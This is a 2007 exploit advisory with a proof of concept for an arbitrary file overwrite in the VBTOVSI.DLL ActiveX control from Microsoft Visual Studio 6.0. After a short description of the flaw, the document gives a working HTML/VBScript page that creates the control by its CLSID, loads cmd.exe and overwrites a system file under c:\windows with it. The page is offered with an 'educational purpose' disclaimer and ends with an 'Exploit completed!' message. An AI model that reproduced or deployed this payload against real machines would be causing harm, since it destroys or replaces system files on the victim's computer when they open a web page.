msvb-vbto.txt
Posted on 12 September 2007
<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">--------------------------------------------------------------------------------------------------------- <b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b> url: http://www.microsoft.com author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 <b>Description: Using the "Load()" method we can load the content of a file from local machine passed as argument to this function and then save it into arbitrary location with the "SaveAs()" method. This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method remote directories (http) but, unfortunately, it accepts only local directories.</b> --------------------------------------------------------------------------------------------------------- <object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() test.Load "c:windowssystem32cmd.exe" 'or just some existing file test.SaveAs "c:windowssystem_.ini" MsgBox "Exploit completed!" End Sub </script> </span></span> </code></pre>
